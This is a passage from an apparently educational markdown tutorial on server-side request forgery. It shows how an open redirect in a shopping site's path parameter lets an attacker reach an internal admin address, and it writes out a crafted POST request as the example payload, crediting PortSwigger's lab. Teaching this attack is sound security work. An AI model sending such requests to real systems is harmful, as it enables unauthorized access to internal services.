point to the next item but which also contains a redirection 158 | 159 | `http://weliketoshop.net/product/nextProduct?currentProductId=1&path=/product?productId=2` 160 | 161 | + In this case the path parameter is vulnerable to an open redirect vulnerability which allows the attack to specify an internal IP address as the value of the path parameter 162 | 163 | `http://weliketoshop.net/product/nextProduct?currentProductId=1&path=http://10.10.0.10/admin` 164 | 165 | + If an attacker submits this request with this modification the web application will make a trusted request to `10.10.0.10/admin` on behalf of the attacker 166 | 167 | ``` 168 | POST /product/stock HTTP/1.0 169 | Content-Type: application/x-www-form-urlencoded 170 | Content-Length: 118 171 | 172 | stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://10.10.0.10/admin 173 | ``` 174 | 175 | ~ Credits to portswiggers SSRF lab for the sample web application ~ 176 | 177 | ## Resources 178 | 179 | + [Portswigger SSRF Labs](https://portswigger.net/web-security/ssrf) 180 | + [DZ Zone Open redirects](https://dzone.com/articles/what-is-an-open-redirection-vulnerability-and-how) 181 | --------------------------------------------------------------------------------